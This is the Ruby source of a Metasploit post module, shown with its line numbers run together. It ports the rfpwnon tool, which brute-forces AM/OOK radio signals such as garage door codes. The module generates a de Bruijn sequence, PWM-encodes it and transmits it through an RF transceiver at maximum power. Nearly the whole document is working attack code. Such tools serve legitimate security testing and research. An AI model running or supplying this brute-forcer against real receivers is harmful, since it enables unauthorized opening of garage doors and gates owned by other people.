Path: blob/master/modules/post/hardware/rftransceiver/rfpwnon.rb
19715 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::Hardware::RFTransceiver::RFTransceiver78def initialize(info = {})9super(10update_info(11info,12'Name' => 'Brute Force AM/OOK (ie: Garage Doors)',13'Description' => %q{14Post Module for HWBridge RFTranscievers. Brute forces AM OOK or raw15binary signals. This is a port of the rfpwnon tool by Corey Harding.16},17'License' => MSF_LICENSE,18'Author' => [19'Corey Harding', # rfpwnon20'Craig Smith', # metasploit21],22'References' => [23['URL', 'https://github.com/exploitagency/github-rfpwnon/blob/master/rfpwnon.py'],24],25'Platform' => ['hardware'],26'SessionTypes' => ['hwbridge'],27'Notes' => {28'Stability' => [CRASH_SAFE],29'SideEffects' => [PHYSICAL_EFFECTS],30'Reliability' => []31}32)33)34register_options([35OptInt.new('FREQ', [true, 'Frequency to transmit on']),36OptInt.new('BAUD', [false, 'Baud rate to use', 2000]),37OptInt.new('BINLENGTH', [false, 'Binary Length of signal to brute force', 8]),38OptInt.new('REPEAT', [false, 'Number of times to repeat the signal', 5]),39OptString.new('PPAD', [false, 'Specify your own binary padding before the brute forced binary', nil]),40OptString.new('TPAD', [false, 'Specify your own binary padding after the brute forced binary', nil]),41OptBool.new('RAW', [false, 'When set, disables PWM encoding. BINLENGTH must be -1', false]),42OptBool.new('TRI', [false, 'When set, brute foces a trinary signal.', false]),43OptBool.new('EXTRAVERBOSE', [false, 'More verbose', false]),44OptInt.new('INDEX', [false, 'USB Index to use', 0]),45OptInt.new('DELAY', [false, 'Delay in milliseconds between transmissions', 500])46])47@zeropwm = '1110'48@onepwm = '1000'49@brutechar = '01'50end5152# @param key [String] binary/trinary representation53# @return [Array] ByteArray54def convert_ook(key)55pwm_str_key = ''56key.each_char do |k|57x = '*'58case k59when '0'60x = @zeropwm61when '1'62x = @onepwm63when '2'64x = @twopwm65end66pwm_str_key += x67end68return pwm_str_key.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }69end7071# rubocop:disable Naming/MethodParameterName72def debruijn_bytes(k, n)73@a = [0]74@sequence = []75debruijn(1, 1, k, n)76return @sequence.join77end7879def debruijn(t, p, k, n)80if t > n81if n % p == 0821.upto(p) { |j| @sequence << @a[j] }83end84else85@a[t] = @a[t - p]86debruijn(t + 1, p, k, n)87(@a[t - p] + 1).upto(k - 1) do |j|88@a[t] = j89debruijn(t + 1, t, k, n)90end91end92end93# rubocop:enable Naming/MethodParameterName9495def run96fail_with(Failure::BadConfig, 'Not an RF Transceiver') unless is_rf?9798unless set_index(datastore['INDEX'])99print_error("Couldn't set USB index to #{datastore['INDEX']}")100return101end102103if datastore['TRI']104@zeropwm = '10001000'105@onepwm = '11101110'106@twopwm = '10001110'107@brutechar = '012'108end109110set_modulation('ASK/OOK')111set_freq(datastore['FREQ'])112set_sync_mode(0)113set_baud(datastore['BAUD'])114max_power115116print_status('Generating de bruijn sequence...')117seq = debruijn_bytes(@brutechar.length, datastore['BINLENGTH'])118tail = seq[0, datastore['BINLENGTH'] - 1]119brutepacket = seq + tail120121print_status("Brute forcing frequency: #{datastore['FREQ']}")122print_status("Padding before binary: #{datastore['PPAD']}") if datastore['PPAD']123print_status("Padding after binary: #{datastore['TPAD']}") if datastore['TPAD']124print_status("De Bruijin Sequence: #{brutepacket}") if datastore['EXTRAVERBOSE']125126startn = 0127endy = 512128addr = 512129if datastore['TRI']130endy = 128131addr = 128132end133if datastore['REPEAT'] >= 2 || datastore['PPAD'] || datastore['TPAD']134endy = datastore['BINLENGTH']135addr = 1136end137138# Transmit139while startn < brutepacket.length140(0..datastore['REPEAT'] - 1).each do |_i|141brutepackettemp = brutepacket[startn..endy - 1]142next if brutepackettemp.length < datastore['BINLENGTH']143144# Pad if asked to145brutepackettemp = datastore['PPAD'] + brutepackettemp if datastore['PPAD']146brutepackettemp += datastore['TPAD'] if datastore['TPAD']147if datastore['RAW']148key_packed = brutepackettemp.scan(/.{1,8}/).collect { |x| x.to_i(2).chr }149else150key_packed = convert_ook(brutepackettemp)151end152print_status('Transmitting...')153set_flen(key_packed.length)154rfxmit(key_packed.join)155print_status('Binary before PWM encoding:')156print_status(brutepackettemp.to_s)157print_status('Binary after PWM encoding:')158print_status(key_packed.join.unpack('H*')[0].hex.to_s(2).to_s)159sleep(datastore['DELAY'] / 1000) if datastore['DELAY'] > 0160end161if (datastore['REPEAT'] >= 2) || datastore['PPAD'] || datastore['TPAD']162startn += addr163endy += addr164else165startn = startn + addr - datastore['BINLENGTH']166endy = endy + addr - datastore['BINLENGTH']167end168end169170print_status('Done')171set_mode('IDLE')172end173end174175176